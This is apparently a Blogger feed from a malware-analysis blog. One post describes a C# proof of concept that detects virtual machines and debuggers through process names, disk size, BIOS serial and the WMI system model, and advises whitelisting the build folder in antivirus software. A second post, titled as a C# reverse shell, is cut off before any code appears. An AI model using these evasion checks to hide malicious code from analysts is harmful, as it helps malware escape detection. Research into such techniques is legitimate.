<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6554224646455070835</id><updated>2024-09-29T02:31:25.076-07:00</updated><category term="VB.NET"/><category term=".NET"/><category term="CSharp"/><category term="malware"/><category term="deobfuscation"/><category term="RETouch"/><category term="Windows Vista"/><category term="Word document"/><category term="script"/><category term="Byte Array"/><category term="IDE"/><category term="Registry"/><category term="RegistryKey"/><category term="VBA"/><category term="Word"/><category term="macro"/><category term="maldoc"/><category term="vbscript"/><category term="BLOB"/><category term="Code Conversion"/><category term="Compiler Directives"/><category term="Convert"/><category term="DateTime"/><category term="Debug"/><category term="Debugger"/><category term="Default application"/><category term="Delphi"/><category term="Disk Drive Type"/><category term="DriveInfo"/><category term="Epoch"/><category term="Express Edition"/><category term="F-Secure SAFE"/><category term="Format"/><category term="Image"/><category term="Inherit"/><category term="ListView"/><category term="MemoryStream"/><category term="Network Drive"/><category term="Office"/><category term="Overload"/><category term="Override"/><category term="PowerShell"/><category term="Process"/><category term="Reverse engineering"/><category term="SQL Server"/><category term="String"/><category term="String Comparison"/><category term="StringBuilder"/><category term="System.Security.AccessControl"/><category term="ToString"/><category term="VB6"/><category term="VBscipt"/><category term="VS2017"/><category term="Windows"/><category term="binaries"/><category term="catch"/><category term="compiler error"/><category term="condition"/><category term="download"/><category term="downloader.tutorial"/><category term="exception"/><category term="link"/><category term="njRat"/><category term="password"/><category term="project"/><category term="protected"/><category term="reverse shell"/><category term="reversing"/><category term="scripting"/><category term="shortcut"/><title type='text'>Windows Developer Blog</title><subtitle type='html'>I decided to continue my professional blog after a few years. The blog reflects now my current interests: CSharp programming, malware analysis and deobfuscation techniques.&#xa;This blog was originally about Visual Basic.NET programming tips and sample source code.</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default?start-index=26&amp;max-results=25'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>27</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-3940496060456261209</id><published>2019-01-08T09:06:00.001-08:00</published><updated>2019-01-08T09:10:59.806-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="compiler error"/><category scheme="http://www.blogger.com/atom/ns#" term="CSharp"/><category scheme="http://www.blogger.com/atom/ns#" term="F-Secure SAFE"/><category scheme="http://www.blogger.com/atom/ns#" term="Reverse engineering"/><category scheme="http://www.blogger.com/atom/ns#" term="VS2017"/><title type='text'>Reverse engineering evasion techniques with CSharp</title><content type='html'>I wrote some proof-of-concept code for detecting virtual machine and/or debugger environment. The code is available at &lt;a href=&quot;https://github.com/Teme64/Detector&quot; target=&quot;_blank&quot;&gt;GitHub&lt;/a&gt;. The code is not a complete collection of the all evasion techniques, just a few simple things to detect VM and/or debugger.&lt;br /&gt;
&lt;br /&gt;
Here is how the application looks in the hosting OS i.e. Windows 10:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrOUlvtvy7wy2i_WaSWNYYgOzC0fuX9jyM3gx-OdZ7BakfGFa_B1RySA_X_3ghGroUoDUhuzzbZ07lU5mBe7ZOCXwhhNwnkhmuNzjnZuIWL4VRe6EhjNuVpKxRJlGFeFdeMQOINFwp1XQ/s1600/DetectorInHost.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;462&quot; data-original-width=&quot;441&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrOUlvtvy7wy2i_WaSWNYYgOzC0fuX9jyM3gx-OdZ7BakfGFa_B1RySA_X_3ghGroUoDUhuzzbZ07lU5mBe7ZOCXwhhNwnkhmuNzjnZuIWL4VRe6EhjNuVpKxRJlGFeFdeMQOINFwp1XQ/s1600/DetectorInHost.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
It has a false positive result in &quot;Detect VM&quot;. The reason for this can be seen in the process list where it finds &quot;vmware-authd&quot; process. All the other indicators are however &quot;negative&quot;.&lt;br /&gt;
&lt;br /&gt;
Here is the same thing done in the Oracle VirtualBox environment with Windows 7:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXi4JFpJ_rPc9He1dcU6k39LTWrGBZsPv20xJm5lffLqOreSoBtFbt-a4gx4RHRUTAPglXqbCPkpd56BmRUA5efkrJv0PGTGj3ydn7w4EsTpxmPDDQMBVwaqNE2p3Ujy0Hr2GrLTeAdt4/s1600/DetectorInVirtualBox.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;466&quot; data-original-width=&quot;454&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXi4JFpJ_rPc9He1dcU6k39LTWrGBZsPv20xJm5lffLqOreSoBtFbt-a4gx4RHRUTAPglXqbCPkpd56BmRUA5efkrJv0PGTGj3ydn7w4EsTpxmPDDQMBVwaqNE2p3Ujy0Hr2GrLTeAdt4/s1600/DetectorInVirtualBox.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Again it detects VM by process name(s). But now there are other indicators too: small system drive (under 128 GB), no BIOS serial number and finally WMI returns &quot;VirtualBox&quot; as system model. This is definitely a virtual machine.&lt;br /&gt;
&lt;br /&gt;
Finally VMware player with Windows&amp;nbsp; 8.1:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEQY3gMwOwCdqZ7Q_bbng1Y_jGrxkgPa6ZYgFrkUngzBXTZiDw6N_CeHWAKcRmbLEwhrGVH6ylbK4FDFgmIldjNs_npyn7gR3ko9pe4J_L9zc1Qu5LGMwD0KFWpj99ANt4sWjMxzY4F5A/s1600/DetectorInVMware.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;468&quot; data-original-width=&quot;454&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEQY3gMwOwCdqZ7Q_bbng1Y_jGrxkgPa6ZYgFrkUngzBXTZiDw6N_CeHWAKcRmbLEwhrGVH6ylbK4FDFgmIldjNs_npyn7gR3ko9pe4J_L9zc1Qu5LGMwD0KFWpj99ANt4sWjMxzY4F5A/s1600/DetectorInVMware.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Once again it detects VM by process name(s). Other indicators are: small system drive and WMI returns &quot;VMware Virtual Platform&quot; as system model. These are also strong indicators for VM.&lt;br /&gt;
&lt;br /&gt;
If you like to try the source code there is one point you may have to take into account. I got the following error message in VS2017:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOFS6SPrZI5aRX6HU55e9KT4sfiTKh2HoXRinQF118GXGpfCj09Ahmcx4C5_gZXvhImRiWOU3_9lt_Jowed3DeDofUwIVFPUQaSViWXR4Ow0wugtmR45yOa4YVWQHRb9KQWD-8fpbXmWQ/s1600/DetectorVS2017Error.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;236&quot; data-original-width=&quot;760&quot; height=&quot;198&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOFS6SPrZI5aRX6HU55e9KT4sfiTKh2HoXRinQF118GXGpfCj09Ahmcx4C5_gZXvhImRiWOU3_9lt_Jowed3DeDofUwIVFPUQaSViWXR4Ow0wugtmR45yOa4YVWQHRb9KQWD-8fpbXmWQ/s640/DetectorVS2017Error.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
There are &lt;a href=&quot;https://stackoverflow.com/questions/2625239/unable-to-copy-a-file-from-obj-debug-to-bin-debug&quot; target=&quot;_blank&quot;&gt;many reasons&lt;/a&gt; why you could get this &quot;Unable to copy file...&quot; and &quot;Could not find file...&quot; error message. In this case it was &lt;a href=&quot;https://www.f-secure.com/en_US/web/home_us/safe&quot; target=&quot;_blank&quot;&gt;F-Secure SAFE&lt;/a&gt; that detected object code as malicious and thus deleted the file. The workaround, if you get the same error, is to whitelist the source code folder in your AV product.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://windevblog.blogspot.com/feeds/3940496060456261209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment/fullpage/post/6554224646455070835/3940496060456261209' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/3940496060456261209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6554224646455070835/posts/default/3940496060456261209'/><link rel='alternate' type='text/html' href='http://windevblog.blogspot.com/2019/01/reverse-engineering-evasion-techniques.html' title='Reverse engineering evasion techniques with CSharp'/><author><name>Teme64</name><uri>http://www.blogger.com/profile/16431881374154567974</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrOUlvtvy7wy2i_WaSWNYYgOzC0fuX9jyM3gx-OdZ7BakfGFa_B1RySA_X_3ghGroUoDUhuzzbZ07lU5mBe7ZOCXwhhNwnkhmuNzjnZuIWL4VRe6EhjNuVpKxRJlGFeFdeMQOINFwp1XQ/s72-c/DetectorInHost.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6554224646455070835.post-591571604845290160</id><published>2018-12-26T06:42:00.000-08:00</published><updated>2018-12-26T06:42:05.620-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="CSharp"/><category scheme="http://www.blogger.com/atom/ns#" term="reverse shell"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><title type='text'>Windows Reverse Shell With CSharp</title><content type='html'>&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;o:OfficeDocumentSettings&gt;
  &lt;o:RelyOnVML/&gt;
  &lt;o:AllowPNG/&gt;
 &lt;/o:OfficeDocumentSettings&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:WordDocument&gt;
  &lt;w:View&gt;Normal&lt;/w:View&gt;
  &lt;w:Zoom&gt;0&lt;/w:Zoom&gt;
  &lt;w:TrackMoves/&gt;
  &lt;w:TrackFormatting/&gt;
  &lt;w:HyphenationZone&gt;21&lt;/w:HyphenationZone&gt;
  &lt;w:PunctuationKerning/&gt;
  &lt;w:ValidateAgainstSchemas/&gt;
  &lt;w:SaveIfXMLInvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;
  &lt;w:IgnoreMixedContent&gt;false&lt;/w:IgnoreMixedContent&gt;
  &lt;w:AlwaysShowPlaceholderText&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;
  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;FI&lt;/w:LidThemeOther&gt;
  &lt;w:LidThemeAsian&gt;X-NONE&lt;/w:LidThemeAsian&gt;
  &lt;w:LidThemeComplexScript&gt;X-NONE&lt;/w:LidThemeComplexScript&gt;
  &lt;w:Compatibility&gt;
   &lt;w:BreakWrappedTables/&gt;
   &lt;w:SnapToGridInCell/&gt;
   &lt;w:WrapTextWithPunct/&gt;
   &lt;w:UseAsianBreakRules/&gt;
   &lt;w:DontGrowAutofit/&gt;
   &lt;w:SplitPgBreakAndParaMark/&gt;
   &lt;w:EnableOpenTypeKerning/&gt;
   &lt;w:DontFlipMirrorIndents/&gt;
   &lt;w:OverrideTableStyleHps/&gt;
  &lt;/w:Compatibility&gt;
  &lt;m:mathPr&gt;
   &lt;m:mathFont m:val=&quot;Cambria Math&quot;/&gt;
   &lt;m:brkBin m:val=&quot;before&quot;/&gt;
   &lt;m:brkBinSub m:val=&quot;&amp;#45;-&quot;/&gt;
   &lt;m:smallFrac m:val=&quot;off&quot;/&gt;
   &lt;m:dispDef/&gt;
   &lt;m:lMargin m:val=&quot;0&quot;/&gt;
   &lt;m:rMargin m:val=&quot;0&quot;/&gt;
   &lt;m:defJc m:val=&quot;centerGroup&quot;/&gt;
   &lt;m:wrapIndent m:val=&quot;1440&quot;/&gt;
   &lt;m:intLim m:val=&quot;subSup&quot;/&gt;
   &lt;m:naryLim m:val=&quot;undOvr&quot;/&gt;
  &lt;/m:mathPr&gt;&lt;/w:WordDocument&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
 &lt;w:LatentStyles DefLockedState=&quot;false&quot; DefUnhideWhenUsed=&quot;true&quot;
  DefSemiHidden=&quot;true&quot; DefQFormat=&quot;false&quot; DefPriority=&quot;99&quot;
  LatentStyleCount=&quot;267&quot;&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;0&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Normal&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;heading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;9&quot; QFormat=&quot;true&quot; Name=&quot;heading 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 4&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 5&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 6&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 7&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 8&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;39&quot; Name=&quot;toc 9&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;35&quot; QFormat=&quot;true&quot; Name=&quot;caption&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;10&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Title&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; Name=&quot;Default Paragraph Font&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;11&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Subtitle&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;22&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Strong&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;20&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Emphasis&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;59&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Table Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; UnhideWhenUsed=&quot;false&quot; Name=&quot;Placeholder Text&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;1&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;No Spacing&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; UnhideWhenUsed=&quot;false&quot; Name=&quot;Revision&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;34&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;List Paragraph&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;29&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;30&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; QFormat=&quot;true&quot; Name=&quot;Intense Quote&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 1&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;67&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 1 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;68&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 2 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;69&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Grid 3 Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;70&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;71&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Shading Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;72&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;63&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;66&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 2 Accent 3&quot;/&gt;
